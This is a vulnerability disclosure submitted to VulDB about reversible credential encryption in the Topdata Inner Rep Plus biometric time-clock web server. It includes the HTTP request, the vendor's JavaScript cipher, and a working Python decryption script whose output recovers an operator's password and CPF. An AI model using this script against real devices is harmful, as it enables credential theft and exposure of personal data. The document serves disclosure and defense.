| 제목 | Topdata Top Data Inner Rep Plus Web Server v.2.01 Cryptographic Issues |
|---|
| 설명 | Title: Top Data Inner Rep Plus reversible encryption
An reversible encryption vulnerability has been identified in Top Data Inner Rep Plus - Web Server v.2.01. This vulnerability allows a user to recover the operators password.
TopData has a product called Top Data Inner Rep Plus, that is a Biometric Time Clock. This product uses a web service that has a vulnerability in version Web Server v.2.01. Basically, when the user are logged as "admin", it is able to visualize the operators list. Checking this request using burp suite is possible to see that the application responds the request with an list of operators, with credentials encrypted. Analyzing the source code of the endpoint "td.js.gz" is possible to see the functions to encrypt and decrypt the credentials and confirm the weakness. Using this part of code is possible to create an script to recover the operators credentials (reverse encryption).
Considering this situation, a malicious actor can use operator user credentials to execute arbitrary actions or to see sensitive data with the legit user login.
Steps to reproduce:
1 - Log on the application as admin and call some operator profile:
GET /operadorList/4?_=1728316114453 HTTP/1.1
Host: {IP}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://[IP}/InnerRepPlus.html
Cookie: session_id=33180
view-source:http://[IP]/InnerRepPlus.html
2 - Analyze the application response to see the credentials encrypted:
HTTP/1.1 200 OK
Content-Type: application/json; charset=ISO-8859-1
Access-Control-Allow-Origin: *
Content-Length: 135
{"operador":[{"id": "4", "name": "96AA8DF471", "pwd": "B68AADD4515C96AD2B5966F8", "cpf": "FBDCEB900112D1F0755C63", "permissoes": "3"}]}
3 - Open the source code of main page:
<!DOCTYPE html>
<html lang="pt-br">
<head>
<title>Inner Rep Plus | TOPDATA</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="viewport" content="initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<script type="text/javascript" src="jquery-1.11.3.min.js.gz"></script>
<script type="text/javascript" src="td.js.gz"></script>
<script type="text/javascript" src="bootstrap.min.js.gz"></script>
<link rel="stylesheet" href="bootstrap-theme.min.css.gz" />
<link rel="stylesheet" href="bootstrap.min.css.gz" />
<link rel="stylesheet" href="font-awesome.min.css.gz" />
<link rel="shortcut icon" type="image/png" href="faviconTopdata.png" />
<script type="text/javascript" src="jquery.mask.min.js.gz"></script>
<script type="text/javascript" src="jquery.dataTables.min.js.gz"></script>
<link rel="stylesheet" href="jquery.dataTables.min.css.gz" />
<script src="jquery-ui.min.js.gz" type="text/javascript"></script>
<link rel="stylesheet" href="jquery-ui.min.css.gz" />
<script src="Blob.js.gz" type="text/javascript"></script>
<script src="jquery.form.js.gz" type="text/javascript"></script>
4 - Open the source code of "td.js.gz" script and navigate to the encryption part:
var cripto = function(value){
var byteCripto = 0;
var sequenciaCripto = 3535;
var arrayAux = '';
//console.log(value)
if(value){
var buffer = stringToByteArray(value);
buffer.forEach(function(byteBuff){
byteCripto = byteBuff;
byteCripto = byteCripto ^ (sequenciaCripto / 256);
byteCripto = byteCripto ^ (sequenciaCripto % 256);
var msb = parseInt(byteCripto / 16);
var lsb = byteCripto % 16;
var strMsb = msb.toString(16).toUpperCase();
var strLsb = lsb.toString(16).toUpperCase();
arrayAux += strMsb + strLsb.toString();
sequenciaCripto = (sequenciaCripto * 107) % 251;
});
}
return arrayAux;
}
var desCripto = function(value){
var byteCripto = 0;
var sequenciaCripto = 3535;
var arrayAux = '';
// console.log(value);
if(value){
var buffer = stringHexToIntArray(value);
buffer.forEach(function(byteBuff){
byteCripto = byteBuff;
byteCripto = byteCripto ^ (sequenciaCripto / 256);
byteCripto = byteCripto ^ (sequenciaCripto % 256);
var msb = parseInt(byteCripto / 16);
var lsb = byteCripto % 16;
var strMsb = msb.toString(16).toUpperCase();
var strLsb = lsb.toString(16).toUpperCase();
arrayAux += String.fromCharCode(parseInt(strMsb.toString() + strLsb.toString(),16));
sequenciaCripto = (sequenciaCripto * 107) % 251;
});
}
// console.log(arrayAux);
return arrayAux;
}
5 - Using the application code information, write a script to decrypt:
cat /home/kali/Desktop/descriptografia.py
import sys
def string_to_byte_array(value):
return [ord(char) for char in value]
def string_hex_to_int_array(value):
return [int(value[i:i+2], 16) for i in range(0, len(value), 2)]
def cripto(value):
byteCripto = 0
sequenciaCripto = 3535
arrayAux = ''
if value:
buffer = string_to_byte_array(value)
for byteBuff in buffer:
byteCripto = byteBuff
byteCripto = byteCripto ^ (sequenciaCripto // 256)
byteCripto = byteCripto ^ (sequenciaCripto % 256)
msb = byteCripto // 16
lsb = byteCripto % 16
strMsb = hex(msb)[2:].upper()
strLsb = hex(lsb)[2:].upper()
arrayAux += strMsb + strLsb
sequenciaCripto = (sequenciaCripto * 107) % 251
return arrayAux
def descripto(value):
byteCripto = 0
sequenciaCripto = 3535
arrayAux = ''
if value:
buffer = string_hex_to_int_array(value)
for byteBuff in buffer:
byteCripto = byteBuff
byteCripto = byteCripto ^ (sequenciaCripto // 256)
byteCripto = byteCripto ^ (sequenciaCripto % 256)
msb = byteCripto // 16
lsb = byteCripto % 16
arrayAux += chr(msb * 16 + lsb)
sequenciaCripto = (sequenciaCripto * 107) % 251
return arrayAux
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Uso: python3 script_descripto.py <valor_criptografado>")
sys.exit(1)
valor_criptografado = sys.argv[1]
valor_descriptografado = descripto(valor_criptografado)
print("Valor descriptografado:", valor_descriptografado)
6 - Run the script on credentials collected:
Values:
"name": "96AA8DF471"
"pwd": "B68AADD4515C96AD2B5966F8"
"cpf": "FBDCEB900112D1F0755C63"
┌──(kali㉿kali)-[~]
└─$ python3 Desktop/descriptografia.py 96AA8DF471
Valor descriptografado: TESTE
┌──(kali㉿kali)-[~]
└─$ python3 Desktop/descriptografia.py B68AADD4515C96AD2B5966F8
Valor descriptografado: testevuln123
┌──(kali㉿kali)-[~]
└─$ python3 Desktop/descriptografia.py FBDCEB900112D1F0755C63
Valor descriptografado: 93505821047
Link of the vendor and product site:
https://www.topdata.com.br/relogio-de-ponto-biometrico/ |
|---|
| 원천 | ⚠️ https://www.topdata.com.br/relogio-de-ponto-biometrico/ |
|---|
| 사용자 | Anonymous User |
|---|
| 제출 | 2024. 10. 11. PM 11:32 (2 연령 ago) |
|---|
| 모더레이션 | 2024. 10. 18. PM 03:43 (7 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 280916 [Topdata Inner Rep Plus WebServer 2.01 td.js.gz 약한 암호화] |
|---|
| 포인트들 | 20 |
|---|